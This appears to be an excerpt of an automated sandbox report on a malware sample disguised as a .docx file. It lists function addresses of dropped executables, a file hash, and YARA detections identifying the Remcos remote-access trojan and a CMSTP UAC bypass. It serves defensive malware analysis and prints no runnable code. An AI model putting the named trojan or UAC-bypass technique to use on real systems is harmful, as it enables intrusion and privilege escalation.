Source: C:\Users\Public\alpha.exe	Code function: 14_2_00007FF64B575554	14_2_00007FF64B575554
Source: C:\Users\Public\alpha.exe	Code function: 14_2_00007FF64B574224	14_2_00007FF64B574224
Source: C:\Users\Public\alpha.exe	Code function: 14_2_00007FF64B561884	14_2_00007FF64B561884
Source: C:\Users\Public\alpha.exe	Code function: 14_2_00007FF64B562C48	14_2_00007FF64B562C48
Source: C:\Users\Public\alpha.exe	Code function: 14_2_00007FF64B577854	14_2_00007FF64B577854
Source: C:\Users\Public\alpha.exe	Code function: 14_2_00007FF64B58AC4C	14_2_00007FF64B58AC4C
Source: C:\Users\Public\alpha.exe	Code function: 14_2_00007FF64B567D30	14_2_00007FF64B567D30
Source: C:\Users\Public\alpha.exe	Code function: 14_2_00007FF64B568510	14_2_00007FF64B568510
Source: C:\Users\Public\alpha.exe	Code function: 14_2_00007FF64B56B0D8	14_2_00007FF64B56B0D8
Source: C:\Users\Public\alpha.exe	Code function: 14_2_00007FF64B5718D4	14_2_00007FF64B5718D4
Source: C:\Users\Public\alpha.exe	Code function: 14_2_00007FF64B563F90	14_2_00007FF64B563F90
Source: C:\Users\Public\alpha.exe	Code function: 14_2_00007FF64B565B70	14_2_00007FF64B565B70
Source: C:\Users\Public\alpha.exe	Code function: 14_2_00007FF64B569B50	14_2_00007FF64B569B50
Source: C:\Users\Public\alpha.exe	Code function: 14_2_00007FF64B563410	14_2_00007FF64B563410
Source: C:\Users\Public\alpha.exe	Code function: 14_2_00007FF64B566BE0	14_2_00007FF64B566BE0
Source: C:\Users\Public\alpha.exe	Code function: 14_2_00007FF64B58AFBC	14_2_00007FF64B58AFBC
Source: C:\Users\Public\alpha.exe	Code function: 14_2_00007FF64B56E680	14_2_00007FF64B56E680
Source: C:\Users\Public\alpha.exe	Code function: 14_2_00007FF64B58EE88	14_2_00007FF64B58EE88
Source: C:\Users\Public\alpha.exe	Code function: 14_2_00007FF64B565240	14_2_00007FF64B565240
Source: C:\Users\Public\alpha.exe	Code function: 14_2_00007FF64B56D250	14_2_00007FF64B56D250
Source: C:\Users\Public\alpha.exe	Code function: 14_2_00007FF64B569E50	14_2_00007FF64B569E50
Source: C:\Users\Public\alpha.exe	Code function: 14_2_00007FF64B567650	14_2_00007FF64B567650
Source: C:\Users\Public\alpha.exe	Code function: 14_2_00007FF64B56372C	14_2_00007FF64B56372C
Source: C:\Users\Public\alpha.exe	Code function: 14_2_00007FF64B587F00	14_2_00007FF64B587F00
Source: C:\Users\Public\alpha.exe	Code function: 14_2_00007FF64B566EE4	14_2_00007FF64B566EE4
Source: C:\Users\Public\alpha.exe	Code function: 14_2_00007FF64B591538	14_2_00007FF64B591538
Source: C:\Users\Public\alpha.exe	Code function: 14_2_00007FF64B562220	14_2_00007FF64B562220
Source: C:\Users\Public\alpha.exe	Code function: 14_2_00007FF64B58AA30	14_2_00007FF64B58AA30
Source: C:\Users\Public\alpha.exe	Code function: 14_2_00007FF64B564A30	14_2_00007FF64B564A30
Source: C:\Users\Public\alpha.exe	Code function: 14_2_00007FF64B568DF8	14_2_00007FF64B568DF8
Source: C:\Users\Public\alpha.exe	Code function: 14_2_00007FF64B56CE10	14_2_00007FF64B56CE10
Source: C:\Users\Public\alpha.exe	Code function: 14_2_00007FF64B58D9D0	14_2_00007FF64B58D9D0
Source: C:\Users\Public\alpha.exe	Code function: 14_2_00007FF64B5681D4	14_2_00007FF64B5681D4
Source: C:\Users\Public\alpha.exe	Code function: 17_2_00007FF64B5737D8	17_2_00007FF64B5737D8
Source: C:\Users\Public\alpha.exe	Code function: 17_2_00007FF64B570A6C	17_2_00007FF64B570A6C
Source: C:\Users\Public\alpha.exe	Code function: 17_2_00007FF64B56AA54	17_2_00007FF64B56AA54
Source: C:\Users\Public\alpha.exe	Code function: 17_2_00007FF64B575554	17_2_00007FF64B575554
Source: C:\Users\Public\alpha.exe	Code function: 17_2_00007FF64B574224	17_2_00007FF64B574224
Source: C:\Users\Public\alpha.exe	Code function: 17_2_00007FF64B561884	17_2_00007FF64B561884
Source: C:\Users\Public\alpha.exe	Code function: 17_2_00007FF64B562C48	17_2_00007FF64B562C48
Source: C:\Users\Public\alpha.exe	Code function: 17_2_00007FF64B577854	17_2_00007FF64B577854
Source: C:\Users\Public\alpha.exe	Code function: 17_2_00007FF64B58AC4C	17_2_00007FF64B58AC4C
Source: C:\Users\Public\alpha.exe	Code function: 17_2_00007FF64B567D30	17_2_00007FF64B567D30
Source: C:\Users\Public\alpha.exe	Code function: 17_2_00007FF64B568510	17_2_00007FF64B568510
Source: C:\Users\Public\alpha.exe	Code function: 17_2_00007FF64B56B0D8	17_2_00007FF64B56B0D8
Source: C:\Users\Public\alpha.exe	Code function: 17_2_00007FF64B5718D4	17_2_00007FF64B5718D4
Source: C:\Users\Public\alpha.exe	Code function: 17_2_00007FF64B563F90	17_2_00007FF64B563F90
Source: C:\Users\Public\alpha.exe	Code function: 17_2_00007FF64B565B70	17_2_00007FF64B565B70
Source: C:\Users\Public\alpha.exe	Code function: 17_2_00007FF64B569B50	17_2_00007FF64B569B50
Source: C:\Users\Public\alpha.exe	Code function: 17_2_00007FF64B563410	17_2_00007FF64B563410
Source: C:\Users\Public\alpha.exe	Code function: 17_2_00007FF64B566BE0	17_2_00007FF64B566BE0
Source: C:\Users\Public\alpha.exe	Code function: 17_2_00007FF64B58AFBC	17_2_00007FF64B58AFBC
Source: C:\Users\Public\alpha.exe	Code function: 17_2_00007FF64B56E680	17_2_00007FF64B56E680
Source: C:\Users\Public\alpha.exe	Code function: 17_2_00007FF64B58EE88	17_2_00007FF64B58EE88
Source: C:\Users\Public\alpha.exe	Code function: 17_2_00007FF64B565240	17_2_00007FF64B565240
Source: C:\Users\Public\alpha.exe	Code function: 17_2_00007FF64B56D250	17_2_00007FF64B56D250
Source: C:\Users\Public\alpha.exe	Code function: 17_2_00007FF64B569E50	17_2_00007FF64B569E50
Source: C:\Users\Public\alpha.exe	Code function: 17_2_00007FF64B567650	17_2_00007FF64B567650
Source: C:\Users\Public\alpha.exe	Code function: 17_2_00007FF64B56372C	17_2_00007FF64B56372C
Source: C:\Users\Public\alpha.exe	Code function: 17_2_00007FF64B587F00	17_2_00007FF64B587F00
Source: C:\Users\Public\alpha.exe	Code function: 17_2_00007FF64B566EE4	17_2_00007FF64B566EE4
Source: C:\Users\Public\alpha.exe	Code function: 17_2_00007FF64B591538	17_2_00007FF64B591538
Source: C:\Users\Public\alpha.exe	Code function: 17_2_00007FF64B562220	17_2_00007FF64B562220
Source: C:\Users\Public\alpha.exe	Code function: 17_2_00007FF64B58AA30	17_2_00007FF64B58AA30
Source: C:\Users\Public\alpha.exe	Code function: 17_2_00007FF64B564A30	17_2_00007FF64B564A30
Source: C:\Users\Public\alpha.exe	Code function: 17_2_00007FF64B568DF8	17_2_00007FF64B568DF8
Source: C:\Users\Public\alpha.exe	Code function: 17_2_00007FF64B56CE10	17_2_00007FF64B56CE10
Source: C:\Users\Public\alpha.exe	Code function: 17_2_00007FF64B58D9D0	17_2_00007FF64B58D9D0
Source: C:\Users\Public\alpha.exe	Code function: 17_2_00007FF64B5681D4	17_2_00007FF64B5681D4
Source: C:\Users\Public\xkn.exe	Code function: 22_2_00007FFAAC8B0EF5	22_2_00007FFAAC8B0EF5
Source: C:\Users\Public\ger.exe	Code function: 24_2_00007FF7E0A06054	24_2_00007FF7E0A06054
Source: C:\Users\Public\ger.exe	Code function: 24_2_00007FF7E0A01664	24_2_00007FF7E0A01664
Source: C:\Users\Public\ger.exe	Code function: 24_2_00007FF7E0A0596C	24_2_00007FF7E0A0596C
Source: C:\Users\Public\ger.exe	Code function: 24_2_00007FF7E0A072C0	24_2_00007FF7E0A072C0
Source: C:\Users\Public\ger.exe	Code function: 24_2_00007FF7E0A06EC8	24_2_00007FF7E0A06EC8
Source: C:\Users\Public\ger.exe	Code function: 24_2_00007FF7E0A067A0	24_2_00007FF7E0A067A0
Source: C:\Users\Public\ger.exe	Code function: 24_2_00007FF7E0A083D8	24_2_00007FF7E0A083D8
Source: C:\Users\Public\ger.exe	Code function: 24_2_00007FF7E0A06AE8	24_2_00007FF7E0A06AE8
Source: C:\Users\Public\ger.exe	Code function: 24_2_00007FF7E0A04050	24_2_00007FF7E0A04050
Source: C:\Users\Public\ger.exe	Code function: 24_2_00007FF7E0A04318	24_2_00007FF7E0A04318
Source: C:\Users\Public\ger.exe	Code function: 24_2_00007FF7E0A05128	24_2_00007FF7E0A05128
Source: C:\Users\Public\ger.exe	Code function: 24_2_00007FF7E0A09890	24_2_00007FF7E0A09890
Source: C:\Users\Public\ger.exe	Code function: 24_2_00007FF7E0A07C7C	24_2_00007FF7E0A07C7C
Source: C:\Users\Public\ger.exe	Code function: 24_2_00007FF7E0A09C74	24_2_00007FF7E0A09C74
Source: C:\Users\Public\ger.exe	Code function: 24_2_00007FF7E0A07670	24_2_00007FF7E0A07670
Source: C:\Users\Public\ger.exe	Code function: 24_2_00007FF7E0A02D70	24_2_00007FF7E0A02D70
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_045B74E6	31_2_045B74E6
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_045BE558	31_2_045BE558
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_045B8770	31_2_045B8770
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_045BE0CC	31_2_045BE0CC
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_0459F0FA	31_2_0459F0FA
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_045D4159	31_2_045D4159
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_045B8168	31_2_045B8168
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_045C61F0	31_2_045C61F0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_045BE2FB	31_2_045BE2FB
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_045D332B	31_2_045D332B
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_045A739D	31_2_045A739D
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_045B7D33	31_2_045B7D33
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_045B5E5E	31_2_045B5E5E
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_045A6E0E	31_2_045A6E0E
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_045BDE9D	31_2_045BDE9D
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_04593FCA	31_2_04593FCA
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_045B6FEA	31_2_045B6FEA
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_045B78FE	31_2_045B78FE
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_045B3946	31_2_045B3946
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_045CD9C9	31_2_045CD9C9
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_045A7A46	31_2_045A7A46
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_0459DB62	31_2_0459DB62
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_045A7BAF	31_2_045A7BAF
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_06421082	31_2_06421082
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_0646E678	31_2_0646E678
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_064486F5	31_2_064486F5
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_0645941F	31_2_0645941F
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_064545F5	31_2_064545F5
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_064585AD	31_2_064585AD
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_0645F207	31_2_0645F207
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_0644804C	31_2_0644804C
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_06458195	31_2_06458195
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_06474E08	31_2_06474E08
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_06458E17	31_2_06458E17
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_06466E9F	31_2_06466E9F
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_06473FDA	31_2_06473FDA
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_0645EFAA	31_2_0645EFAA
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_06434C79	31_2_06434C79
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_06457C99	31_2_06457C99
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_0645ED7B	31_2_0645ED7B
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_0643FDA9	31_2_0643FDA9
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_06447ABD	31_2_06447ABD
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_0645EB4C	31_2_0645EB4C
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_06456B0D	31_2_06456B0D
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_0644885E	31_2_0644885E
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_0643E811	31_2_0643E811
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_064589E2	31_2_064589E2

Source: Joe Sandbox View

Dropped File: C:\Users\Public\Libraries\drbdmeyP.pif 7BCDC2E607ABC65EF93AFD009C3048970D9E8D1C2A18FC571562396B13EBB301

Source: C:\Users\Public\Libraries\drbdmeyP.pif	Code function: String function: 0040DEF0 appears 38 times
Source: C:\Users\Public\alpha.exe	Code function: String function: 00007FF64B573448 appears 90 times
Source: C:\Users\Public\alpha.exe	Code function: String function: 00007FF64B57081C appears 45 times
Source: C:\Users\Public\alpha.exe	Code function: String function: 00007FF64B57498C appears 50 times
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: String function: 045B4E10 appears 54 times
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: String function: 045B4770 appears 41 times
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: String function: 06455ABF appears 54 times
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: String function: 0645541F appears 41 times
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: String function: 04581E65 appears 34 times
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: String function: 06422B14 appears 34 times
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: String function: 04582093 appears 50 times
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: String function: 0298480C appears 865 times
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: String function: 02997CC8 appears 49 times
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: String function: 029844AC appears 69 times
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: String function: 02997E14 appears 45 times
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: String function: 029846A4 appears 242 times
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: String function: 02986650 appears 37 times
Source: C:\Users\Public\ger.exe	Code function: String function: 00007FF7E0A0D3D0 appears 56 times

Source: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Binary or memory string: OriginalFilename vs #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe
Source: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1359129963.0000000026652000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLOADER.EXEB vs #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe
Source: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1392779821.000000007FC80000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLOADER.EXEB vs #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe
Source: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256656557.000000007EDC0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe
Source: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256656557.000000007EDC0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTruesight4 vs #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe
Source: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1359129963.00000000265F6000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLOADER.EXEB vs #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe
Source: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1362819613.0000000027650000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLOADER.EXEB vs #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe
Source: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLOADER.EXEB vs #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe
Source: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1390105592.000000007F280000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe
Source: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1390105592.000000007F280000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTruesight4 vs #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe
Source: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256443567.000000007EE90000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe
Source: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256443567.000000007EE90000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTruesight4 vs #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe
Source: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1335815868.0000000002326000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLOADER.EXEB vs #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe
Source: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1362819613.00000000276AC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLOADER.EXEB vs #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe

Source: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: 31.2.colorcpl.exe.4580000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 31.2.colorcpl.exe.4580000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 31.2.colorcpl.exe.4580000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 31.2.colorcpl.exe.64218af.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 31.2.colorcpl.exe.64218af.1.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 31.2.colorcpl.exe.64218af.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 31.2.colorcpl.exe.64218af.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 31.2.colorcpl.exe.64218af.1.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 31.2.colorcpl.exe.64218af.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 31.2.colorcpl.exe.4580000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 31.2.colorcpl.exe.4580000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 31.2.colorcpl.exe.4580000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 31.2.colorcpl.exe.6420000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 31.2.colorcpl.exe.6420000.2.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 31.2.colorcpl.exe.6420000.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 31.2.colorcpl.exe.6420000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 31.2.colorcpl.exe.6420000.2.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 31.2.colorcpl.exe.6420000.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 0000001F.00000002.3702973204.0000000004580000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 0000001F.00000002.3702973204.0000000004580000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 0000001F.00000002.3702973204.0000000004580000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
